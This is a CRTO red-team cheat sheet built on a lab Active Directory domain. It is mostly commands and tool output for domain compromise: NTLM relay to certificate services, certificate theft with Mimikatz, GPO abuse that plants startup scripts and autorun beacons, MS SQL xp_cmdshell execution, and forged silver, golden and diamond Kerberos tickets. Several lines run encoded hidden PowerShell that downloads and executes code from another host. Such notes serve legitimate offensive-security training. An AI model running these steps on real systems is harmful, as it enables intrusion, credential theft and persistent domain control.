🏮CRTO Cheat Sheet Part 2
Active Directory Certificate Services - NTLM Relaying
attacker@ubuntu ~> sudo proxychains ntlmrelayx.py -t https://10.10.122.10/certsrv/certfnsh.asp -smb2support --adcs --no-http-server
[*] Protocol Client SMTP loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server
[*] Setting up WCF Server
[*] Setting up RAW Server on port 6666
[*] Servers started, waiting for connections
Then force the authentication to occur from WEB to WKSTN-2.
beacon> execute-assembly C:\Tools\SharpSystemTriggers\SharpSpoolTrigger\bin\Release\SharpSpoolTrigger.exe 10.10.122.30 10.10.123.102
[*] Servers started, waiting for connections
[*] SMBD-Thread-4: Received connection from 127.0.0.1, attacking target https://10.10.122.10
|S-chain|-<>-127.0.0.1:1080-<><>-10.10.122.10:443-<><>-OK
[*] HTTP server returned error code 200, treating as a successful login
[*] Authenticating against https://10.10.122.10 as DEV/WEB$ SUCCEED
[*] Generating CSR...
[*] CSR generated!
[*] Getting certificate...
[*] GOT CERTIFICATE! ID 13
[*] Base64 certificate of user WEB$:MIIRRQ[...]qDRJLE
The S4U2Self trick can be used to obtain usable TGS's to move laterally to it.
Active Directory Certificate Services - Persistence
beacon> getuid
[*] You are DEV\nlamb
beacon> run hostname
wkstn-1
beacon> execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe Certificates
StoreLocation : CurrentUser
Issuer : CN=sub-ca, DC=dev, DC=cyberbotic, DC=io
Subject : E=nlamb@cyberbotic.io, CN=Nina Lamb, CN=Users, DC=dev, DC=cyberbotic, DC=io
ValidDate : 9/7/2022 11:44:35 AM
ExpiryDate : 9/7/2023 11:44:35 AM
HasPrivateKey : True
KeyExportable : True
Thumbprint : 43FA3C3AE4E1212A3F888937745C2E2F55BAC1B5
Template : User
EnhancedKeyUsages :
Encrypting File System
Secure Email
Client Authentication [!] Certificate is used for client authentication!
Certificates can be exported with Mimikatz using crypto::certificates (although it drops them to disk).
beacon> mimikatz crypto::certificates /export
beacon> download CURRENT_USER_My_0_Nina Lamb.pfx
Base64 encode the pfx file.
ubuntu@DESKTOP-3BSK7NO ~> cat /mnt/c/Users/Attacker/Desktop/CURRENT_USER_My_0_Nina\ Lamb.pfx | base64 -w 0
Then use it with Rubeus to obtain a TGT. The export password will be mimikatz.
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:nlamb /certificate:MIINeg[...]IH0A== /password:mimikatz /nowrap
Computer Persistance:
beacon> mimikatz !crypto::certificates /systemstore:local_machine /export
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:WKSTN-1$ /enctype:aes256 /certificate:MIINCA[...]IH0A== /password:mimikatz /nowrap
GPO - Modifying Existing GPO
Search what GPO we have access to
beacon> powershell Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "CreateChild|WriteProperty" -and $_.SecurityIdentifier -match "S-1-5-21-569305411-121244042-2357301523-[\d]{4,10}" }
One result has been returned. Let's resolve the GPO name and the SID of the principal.
beacon> powershell Get-DomainGPO -Identity "CN={5059FAC1-5E94-4361-95D3-3BB235A23928},CN=Policies,CN=System,DC=dev,DC=cyberbotic,DC=io" | select displayName, gpcFileSysPath
beacon> powershell ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1107
This shows us that members of the "Developers" group can modify "Vulnerable GPO".
We also want to know which OU(s) this GPO applies to, and by extension which computers are in those OUs. GPOs are linked to an OU by modifying the gPLink property of the OU itself. The Get-DomainOU cmdlet has a handy -GPLink parameter which takes a GPO GUID.
beacon> powershell Get-DomainOU -GPLink "{5059FAC1-5E94-4361-95D3-3BB235A23928}" | select distinguishedName
Finally, to get the computers in an OU, we can use Get-DomainComputer and use the OU's distinguished name as a search base.
beacon> powershell Get-DomainComputer -SearchBase "OU=Workstations,DC=dev,DC=cyberbotic,DC=io" | select dnsHostName
To modify a GPO without the use of GPMC (Group Policy Management Console), we can modify the associated files directly in SYSVOL (the gpcFileSysPath).
beacon> ls \\dev.cyberbotic.io\SysVol\dev.cyberbotic.io\Policies\{5059FAC1-5E94-4361-95D3-3BB235A23928}
We can do that manually or use an automated tool such as SharpGPOAbuse, which several abuses built into it.
beacon> execute-assembly C:\Tools\SharpGPOAbuse\SharpGPOAbuse\bin\Release\SharpGPOAbuse.exe --AddComputerScript --ScriptName startup.bat --ScriptContents "start /b \\dc-2\software\dns_x64.exe" --GPOName "Vulnerable GPO"
[+] Domain = dev.cyberbotic.io
[+] Domain Controller = dc-2.dev.cyberbotic.io
[+] Distinguished Name = CN=Policies,CN=System,DC=dev,DC=cyberbotic,DC=io
[+] GUID of "Vulnerable GPO" is: {5059FAC1-5E94-4361-95D3-3BB235A23928}
[+] Creating new startup script...
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new startup script. Wait for the GPO refresh cycle.
[+] Done!
Log into the console of Workstation 1 and run gpupdate /force from a Command Prompt. Then reboot the machine. After it starts up, the DNS Beacon will execute as SYSTEM.
GPO - Create and Link a GPO
Group Policy Objects are stored in CN=Policies,CN=System - principals that can create new GPOs in the domain have the "Create groupPolicyContainer objects" privilege over this object. We can find these with PowerView's Get-DomainObjectAcl
cmdlet by looking for those that have "CreateChild" rights on the "Group-Policy-Container", and then resolving their SIDs to readable names.
beacon> powershell Get-DomainObjectAcl -Identity "CN=Policies,CN=System,DC=dev,DC=cyberbotic,DC=io" -ResolveGUIDs | ? { $_.ObjectAceType -eq "Group-Policy-Container" -and $_.ActiveDirectoryRights -contains "CreateChild" } | % { ConvertFrom-SID $_.SecurityIdentifier }
DEV\Developers
This is also something we can find with PowerView by first getting all of the domain OUs and piping them into Get-DomainObjectAcl again. Iterate over each one looking for instances of "WriteProperty" over "GP-Link" .
beacon> powershell Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "GP-Link" -and $_.ActiveDirectoryRights -match "WriteProperty" } | select ObjectDN,ActiveDirectoryRights,ObjectAceType,SecurityIdentifier | fl
ObjectDN : OU=Workstations,DC=dev,DC=cyberbotic,DC=io
ActiveDirectoryRights : ReadProperty, WriteProperty
ObjectAceType : GP-Link
SecurityIdentifier : S-1-5-21-569305411-121244042-2357301523-1107
beacon> powershell ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1107
DEV\Developers
GPOs can be managed from the command line via the PowerShell RSAT modules. These are an optional install and so usually only found on management workstations. The Get-Module cmdlet will show if they are present.
beacon> powershell Get-Module -List -Name GroupPolicy | select -expand ExportedCommands
Key Value
--- -----
Backup-GPO Backup-GPO
Block-GPInheritance Block-GPInheritance
Copy-GPO Copy-GPO
Get-GPInheritance Get-GPInheritance
Get-GPO Get-GPO
[...]
Use the New-GPO cmdlet to create and link a new GPO.
beacon> powershell New-GPO -Name "Evil GPO"
beacon> powershell Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "C:\Windows\System32\cmd.exe /c \\dc-2\software\dns_x64.exe" -Type ExpandString
Next, apply the GPO to the target OU.
beacon> powershell Get-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=cyberbotic,DC=io"
Remember that HKLM autoruns require a reboot to execute.
MS SQL Servers
PowerUpSQL is an excellent tool for enumerating and interacting with MS SQL Servers.
beacon> powershell-import C:\Tools\PowerUpSQL\PowerUpSQL.ps1
beacon> powershell Get-SQLInstanceDomain
ComputerName : sql-2.dev.cyberbotic.io
Instance : sql-2.dev.cyberbotic.io,1433
DomainAccountSid : 1500000521000672332383313895871914512914091400
DomainAccount : mssql_svc
DomainAccountCn : MS SQL Service
Service : MSSQLSvc
Spn : MSSQLSvc/sql-2.dev.cyberbotic.io:1433
LastLogon : 8/15/2022 7:55 PM
Description :
beacon> powershell Get-SQLConnectionTest -Instance "sql-2.dev.cyberbotic.io,1433" | fl
ComputerName Instance Status
------------ -------- ------
sql-2.dev.cyberbotic.io sql-2.dev.cyberbotic.io,1433 Accessible
Then use Get-SQLServerInfo to gather more information about the instance.
beacon> powershell Get-SQLServerInfo -Instance "sql-2.dev.cyberbotic.io,1433"
This output shows that bfarmer has the sysadmin role on the instance.
There are several options for issuing queries against a SQL instance. Get-SQLQuery from PowerUpSQL:
beacon> powershell Get-SQLQuery -Instance "sql-2.dev.cyberbotic.io,1433" -Query "select @@servername"
mssqlclient.py from Impacket via proxychains:
ubuntu@DESKTOP-3BSK7NO ~> proxychains mssqlclient.py -windows-auth DEV/bfarmer@10.10.122.25 -debug
ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[+] Impacket Library Installation Path: /usr/local/lib/python3.8/dist-packages/impacket
Password:
|S-chain|-<>-10.10.5.50:1080-<><>-10.10.122.25:1433-<><>-OK
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(SQL-2): Line 1: Changed database context to 'master'.
[*] INFO(SQL-2): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL> select @@servername;
--------------------------------------------------------------------------------------------------------------------------------
SQL-2
MS SQL Servers - Command Execution
beacon> powershell Invoke-SQLOSCmd -Instance "sql-2.dev.cyberbotic.io,1433" -Command "whoami" -RawResults
dev\mssql_svc
To enumerate the current state of xp_cmdshell, use:
SELECT value FROM sys.configurations WHERE name = 'xp_cmdshell';
A value of 0 shows that xp_cmdshell is disabled. To enable it:
sp_configure 'Show Advanced Options', 1; RECONFIGURE;
sp_configure 'xp_cmdshell', 1; RECONFIGURE;
With command execution, spawning a Beacon can be as easy as a PowerShell one-liner.
EXEC xp_cmdshell 'powershell -w hidden -enc aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AdwBrAHMAdABuAC0AMgA6ADgAMAA4ADAALwBwAGkAdgBvAHQAIgApAA==';
MS SQL Servers - Lateral Movement
We can discover any links that the current instance has:
SELECT * FROM master..sysservers;
This shows a link to sql-1.cyberbotic.io. We can query this server over the link using OpenQuery:
SELECT * FROM OPENQUERY("sql-1.cyberbotic.io", 'select @@servername');
We can also check the xp_cmdshell status.
SELECT * FROM OPENQUERY("sql-1.cyberbotic.io", 'SELECT * FROM sys.configurations WHERE name = ''xp_cmdshell''');
If xp_cmdshell is disabled, you won't be able to enable it by executing sp_configure via OpenQuery. If RPC Out is enabled on the link (which is not the default configuration), then you can enable it using the following syntax:
EXEC('sp_configure ''show advanced options'', 1; reconfigure;') AT [sql-1.cyberbotic.io]
EXEC('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT [sql-1.cyberbotic.io]
Manually querying databases to find links can be cumbersome and time-consuming, so you can also use Get-SQLServerLinkCrawl to automatically crawl all available links.
beacon> powershell Get-SQLServerLinkCrawl -Instance "sql-2.dev.cyberbotic.io,1433"
This output shows that the link from SQL-2 to SQL-1 is configured with a local 'sa' account and that it has sysadmin privileges on the remote server. To execute a shell command on SQL-1:
SELECT * FROM OPENQUERY("sql-1.cyberbotic.io", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBxAGwALQAyAC4AZABlAHYALgBjAHkAYgBlAHIAYgBvAHQAaQBjAC4AaQBvADoAOAAwADgAMAAvAHAAaQB2AG8AdAAyACIAKQA=''')
MS SQL Servers - Privilege Escalation
This instance of SQL is running as NT Service\MSSQLSERVER, which is the default during more modern SQL installations. It has a special type of privilege called SeImpersonatePrivilege, which allows the account to "impersonate a client after authentication".
beacon> getuid
[*] You are NT Service\MSSQLSERVER
beacon> execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe TokenPrivileges
====== TokenPrivileges ======
Current Token's Privileges
SeAssignPrimaryTokenPrivilege: DISABLED
SeIncreaseQuotaPrivilege: DISABLED
SeChangeNotifyPrivilege: SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
SeImpersonatePrivilege: SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
SeCreateGlobalPrivilege: SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
SeIncreaseWorkingSetPrivilege: DISABLED
[*] Completed collection in 0.037 seconds
In a nutshell, this privilege allows the user to impersonate a token that it's able to get a handle to.
beacon> execute-assembly C:\Tools\SweetPotato\bin\Release\SweetPotato.exe -p C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -a "-w hidden -enc aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBxAGwALQAyAC4AZABlAHYALgBjAHkAYgBlAHIAYgBvAHQAaQBjAC4AaQBvADoAOAAwADgAMAAvAHQAYwBwAC0AbABvAGMAYQBsACIAKQA="
SweetPotato by @_EthicalChaos_
Orignal RottenPotato code and exploit by @foxglovesec
Weaponized JuciyPotato by @decoder_it and @Guitro along with BITS WinRM discovery
PrintSpoofer discovery and original exploit by @itm4n
EfsRpc built on EfsPotato by @zcgonvh and PetitPotam by @topotam
[+] Attempting NP impersonation using method PrintSpoofer to launch C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
[+] Triggering notification on evil PIPE \\sql-1/pipe/b888d569-b66e-4280-b8c5-995afbb9b02c
[+] Server connected to our evil RPC pipe
[+] Duplicated impersonation token ready for process creation
[+] Intercepted and authenticated successfully, launching program
[+] Process created, enjoy!
beacon> connect localhost 4444
[+] established link to child beacon: 10.10.120.25
Silver Tickets
Let's say we dumped Kerberos keys from Workstation 1 from a SYSTEM Beacon.
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : WKSTN-1$
Domain : DEV
Logon Server : (null)
Logon Time : 9/9/2022 9:37:22 AM
SID : S-1-5-20
* Username : wkstn-1$
* Domain : DEV.CYBERBOTIC.IO
* Password : (null)
* Key List :
aes256_hmac c9e598cd2a9b08fe31936f2c1846a8365d85147f75b8000cbc90e3c9de50fcc7
rc4_hmac_nt fc0c8a61a83bafdffc587956d0020398
rc4_hmac_old fc0c8a61a83bafdffc587956d0020398
rc4_md4 fc0c8a61a83bafdffc587956d0020398
rc4_hmac_nt_exp fc0c8a61a83bafdffc587956d0020398
rc4_hmac_old_exp fc0c8a61a83bafdffc587956d0020398
On your Windows attacking machine, use Rubeus to forge a TGS for nlamb and the cifs service.
PS C:\Users\Attacker> C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe silver /service:cifs/wkstn-1.dev.cyberbotic.io /aes256:c9e598cd2a9b08fe31936f2c1846a8365d85147f75b8000cbc90e3c9de50fcc7 /user:nlamb /domain:dev.cyberbotic.io /sid:S-1-5-21-569305411-121244042-2357301523 /nowrap
[*] Action: Build TGS
[*] Building PAC
[*] Domain : DEV.CYBERBOTIC.IO (DEV)
[*] SID : S-1-5-21-569305411-121244042-2357301523
[*] UserId : 500
[*] Groups : 520,512,513,519,518
[*] ServiceKey : C9E598CD2A9B08FE31936F2C1846A8365D85147F75B8000CBC90E3C9DE50FCC7
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey : C9E598CD2A9B08FE31936F2C1846A8365D85147F75B8000CBC90E3C9DE50FCC7
[*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service : cifs
[*] Target : wkstn-1.dev.cyberbotic.io
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGS for 'nlamb' to 'cifs/wkstn-1.dev.cyberbotic.io'
[*] AuthTime : 9/9/2022 10:49:41 AM
[*] StartTime : 9/9/2022 10:49:41 AM
[*] EndTime : 9/9/2022 8:49:41 PM
[*] RenewTill : 9/16/2022 10:49:41 AM
[*] base64(ticket.kirbi):
doIFXD[...]MuaW8=
Then import the ticket.
beacon> getuid
[*] You are DEV\bfarmer (admin)
beacon> ls \\wkstn-1.dev.cyberbotic.io\c$
[-] could not open \\wkstn-1.dev.cyberbotic.io\c$\*: 5 - ERROR_ACCESS_DENIED
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIFXD[...]MuaW8=
[*] Using DEV\nlamb:FakePass
[*] Showing process : False
[*] Username : nlamb
[*] Domain : DEV
[*] Password : FakePass
[+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 5668
[+] Ticket successfully imported!
[+] LUID : 0x423091
beacon> steal_token 5668
beacon> ls \\wkstn-1.dev.cyberbotic.io\c$
[*] Listing: \\wkstn-1.dev.cyberbotic.io\c$\
Size Type Last Modified Name
---- ---- ------------- ----
dir 08/16/2022 08:17:30 $Recycle.Bin
dir 08/15/2022 22:22:31 $WinREAgent
dir 01/27/2022 18:18:49 Documents and Settings
Golden Tickets
beacon> dcsync dev.cyberbotic.io DEV\krbtgt
* Primary:Kerberos-Newer-Keys *
Default Salt : DEV.CYBERBOTIC.IOkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 51d7f328ade26e9f785fd7eee191265ebc87c01a4790a7f38fb52e06563d4e7e
aes128_hmac (4096) : 6fb62ed56c7de778ca5e4fe6da6d3aca
des_cbc_md5 (4096) : 629189372a372fda
PS C:\Users\Attacker> C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe golden /aes256:51d7f328ade26e9f785fd7eee191265ebc87c01a4790a7f38fb52e06563d4e7e /user:nlamb /domain:dev.cyberbotic.io /sid:S-1-5-21-569305411-121244042-2357301523 /nowrap
[*] Action: Build TGT
[*] Building PAC
[*] Domain : DEV.CYBERBOTIC.IO (DEV)
[*] SID : S-1-5-21-569305411-121244042-2357301523
[*] UserId : 500
[*] Groups : 520,512,513,519,518
[*] ServiceKey : 51D7F328ADE26E9F785FD7EEE191265EBC87C01A4790A7F38FB52E06563D4E7E
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey : 51D7F328ADE26E9F785FD7EEE191265EBC87C01A4790A7F38FB52E06563D4E7E
[*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service : krbtgt
[*] Target : dev.cyberbotic.io
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for 'nlamb@dev.cyberbotic.io'
[*] AuthTime : 9/9/2022 11:16:23 AM
[*] StartTime : 9/9/2022 11:16:23 AM
[*] EndTime : 9/9/2022 9:16:23 PM
[*] RenewTill : 9/16/2022 11:16:23 AM
[*] base64(ticket.kirbi):
doIFLz[...]MuaW8=
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIFLz[...snip...]MuaW8=
[*] Using DEV\nlamb:FakePass
[*] Showing process : False
[*] Username : nlamb
[*] Domain : DEV
[*] Password : FakePass
[+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 5060
[+] Ticket successfully imported!
[+] LUID : 0x449047
beacon> steal_token 5060
beacon> run klist
#0> Client: nlamb @ DEV.CYBERBOTIC.IO
Server: krbtgt/dev.cyberbotic.io @ DEV.CYBERBOTIC.IO
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
beacon> ls \\dc-2.dev.cyberbotic.io\c$
[*] Listing: \\dc-2.dev.cyberbotic.io\c$\
Size Type Last Modified Name
---- ---- ------------- ----
dir 08/15/2022 15:44:08 $Recycle.Bin
dir 08/10/2022 04:55:17 $WinREAgent
dir 08/10/2022 05:05:53 Boot
Diamond Tickets
[*] You are DEV\bfarmer
beacon> ls \\dc-2.dev.cyberbotic.io\c$
[-] could not open \\dc-2.dev.cyberbotic.io\c$\*: 5 - ERROR_ACCESS_DENIED
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe diamond /tgtdeleg /ticketuser:nlamb /ticketuserid:1106 /groups:512 /krbkey:51d7f328ade26e9f785fd7eee191265ebc87c01a4790a7f38fb52e06563d4e7e /nowrap
/tgtdeleg uses the Kerberos GSS-API to obtain a useable TGT for the current user without needing to know their password, NTLM/AES hash, or elevation on the host.
/ticketuser is the username of the user to impersonate.
/ticketuserid is the domain RID of that user.
/groups are the desired group RIDs (512 being Domain Admins).
/krbkey is the krbtgt AES256 hash.
[*] Action: Diamond Ticket
[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/dc-2.dev.cyberbotic.io'
[+] Kerberos GSS-API initialization success!
[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: +mzV4aOvQx3/dpZGBaVEhccq1t+jhKi8oeCYXkjHXw4=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):
doIFgz [...snip...] MuSU8=
[*] Decrypting TGT
[*] Retreiving PAC
[*] Modifying PAC
[*] Signing PAC
[*] Encrypting Modified TGT
[*] base64(ticket.kirbi):
doIFYj [...snip...] MuSU8=
Rubeus describe will now show that this is a TGT for the target user.
PS C:\Users\Attacker> C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe describe /ticket:doIFYj[...snip...]MuSU8=
[*] Action: Describe Ticket
ServiceName : krbtgt/DEV.CYBERBOTIC.IO
ServiceRealm : DEV.CYBERBOTIC.IO
UserName : nlamb
UserRealm : DEV.CYBERBOTIC.IO
StartTime : 7/7/2022 8:41:46 AM
EndTime : 7/7/2022 6:41:46 PM
RenewTill : 1/1/1970 12:00:00 AM
Flags : name_canonicalize, pre_authent, forwarded, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : jp4k3G5LvXpIl3cuAnTtgLuxOWkPJIUjOEZB5wrHdVw=
Forged Certificates
Once on a CA, SharpDPAPI can extract the private keys.
beacon> run hostname
dc-2
beacon> getuid
[*] You are NT AUTHORITY\SYSTEM (admin)
beacon> execute-assembly C:\Tools\SharpDPAPI\SharpDPAPI\bin\Release\SharpDPAPI.exe certificates /machine
Save the private key and certificate to a .pem file and convert it to a .pfx with openssl. Then, build the forged certificate with ForgeCert.
PS C:\Users\Attacker> C:\Tools\ForgeCert\ForgeCert\bin\Release\ForgeCert.exe --CaCertPath .\Desktop\sub-ca.pfx --CaCertPassword pass123 --Subject "CN=User" --SubjectAltName "nlamb@cyberbotic.io" --NewCertPath .\Desktop\fake.pfx --NewCertPassword pass123
CA Certificate Information:
Subject: CN=sub-ca, DC=dev, DC=cyberbotic, DC=io
Issuer: CN=ca, DC=cyberbotic, DC=io
Start Date: 8/15/2022 4:06:13 PM
End Date: 8/15/2024 4:16:13 PM
Thumbprint: 697B1C2CD65B2ADC80C3D0CE83A6FB889B0CA08E
Serial: 13000000046EF818036CF8C99F000000000004
Forged Certificate Information:
Subject: CN=User
SubjectAltName: nlamb@cyberbotic.io
Issuer: CN=sub-ca, DC=dev, DC=cyberbotic, DC=io
Start Date: 10/5/2022 1:24:23 PM
End Date: 10/5/2023 1:24:23 PM
Thumbprint: 0CF404F5D1534854BA5EDEC5953ED7B7BE96C3A8
Serial: 00978D5E506AE605589E43F21D17E56671
Done. Saved forged certificate to .\Desktop\fake.pfx with the password 'pass123'
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:nlamb /domain:dev.cyberbotic.io /enctype:aes256 /certificate:MIACAQ[...snip...]IEAAAA /password:pass123 /nowrap
We're not limited to forging user certificates; we can do the same for machines. Combine this with the S4U2self trick to gain access to any machine or service in the domain.
Forest & Domain Trusts - Golden / Diamond Tickets
beacon> getuid
[*] You are DEV\bfarmer
beacon> powershell Get-DomainTrust
SourceName : dev.cyberbotic.io
TargetName : cyberbotic.io
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection : Bidirectional
WhenCreated : 8/15/2022 4:00:00 PM
WhenChanged : 8/15/2022 4:00:00 PM
beacon> powershell Get-DomainGroup -Identity "Domain Admins" -Domain cyberbotic.io -Properties ObjectSid
objectsid
---------
S-1-5-21-2594061375-675613155-814674916-512
beacon> powershell Get-DomainController -Domain cyberbotic.io | select Name
Name
----
dc-1.cyberbotic.io
beacon> powershell Get-DomainGroupMember -Identity "Domain Admins" -Domain cyberbotic.io | select MemberName
MemberName
----------
nglover
PS C:\Users\Attacker> C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe golden /aes256:51d7f328ade26e9f785fd7eee191265ebc87c01a4790a7f38fb52e06563d4e7e /user:Administrator /domain:dev.cyberbotic.io /sid:S-1-5-21-569305411-121244042-2357301523 /sids:S-1-5-21-2594061375-675613155-814674916-512 /nowrap
[*] Action: Build TGT
[*] Building PAC
[*] Domain : DEV.CYBERBOTIC.IO (DEV)
[*] SID : S-1-5-21-569305411-121244042-2357301523
[*] UserId : 500
[*] Groups : 520,512,513,519,518
[*] ExtraSIDs : S-1-5-21-2594061375-675613155-814674916-512
[*] ServiceKey : 51D7F328ADE26E9F785FD7EEE191265EBC87C01A4790A7F38FB52E06563D4E7E
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey : 51D7F328ADE26E9F785FD7EEE191265EBC87C01A4790A7F38FB52E06563D4E7E
[*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service : krbtgt
[*] Target : dev.cyberbotic.io
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for 'Administrator@dev.cyberbotic.io'
[*] AuthTime : 9/12/2022 10:44:21 AM
[*] StartTime : 9/12/2022 10:44:21 AM
[*] EndTime : 9/12/2022 8:44:21 PM
[*] RenewTill : 9/19/2022 10:44:21 AM
[*] base64(ticket.kirbi):
doIFmD[...]MuaW8=
beacon> run klist
Current LogonId is 0:0x3a6665
Cached Tickets: (1)
#0> Client: Administrator @ DEV.CYBERBOTIC.IO
Server: krbtgt/dev.cyberbotic.io @ DEV.CYBERBOTIC.IO
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
beacon> ls \\dc-1.cyberbotic.io\c$
Size Type Last Modified Name
---- ---- ------------- ----
dir 08/15/2022 15:26:54 $Recycle.Bin
dir 08/10/2022 04:55:17 $WinREAgent
dir 08/10/2022 05:05:53 Boot
With Diamond tickets, replicate steps execpt do....
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:519 /sids:S-1-5-21-2594061375-675613155-814674916-519 /krbkey:51d7f328ade26e9f785fd7eee191265ebc87c01a4790a7f38fb52e06563d4e7e /nowrap
[*] Action: Diamond Ticket
[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/dc-2.dev.cyberbotic.io'
[+] Kerberos GSS-API initialization success!
[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: KT+juea5lxCbxNfLLWbgRorvmR+gRkaoifHatrHE0GE=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):
doIF1j[...]5JTw==
[*] Decrypting TGT
[*] Retreiving PAC
[*] Modifying PAC
[*] Signing PAC
[*] Encrypting Modified TGT
[*] base64(ticket.kirbi):
doIGAj[...]lDLklP
Forest & Domain Trusts - One Way Inbound
beacon> powershell Get-DomainTrust
SourceName : dev.cyberbotic.io
TargetName : dev-studio.com
TrustType : WINDOWS_ACTIVE_DIRECTORY
beacon> powershell Get-DomainComputer -Domain dev-studio.com -Properties DnsHostName
dnshostname
-----------
dc.dev-studio.com
beacon> powershell Get-DomainForeignGroupMember -Domain dev-studio.com
GroupDomain : dev-studio.com
GroupName : Administrators
GroupDistinguishedName : CN=Administrators,CN=Builtin,DC=dev-studio,DC=com
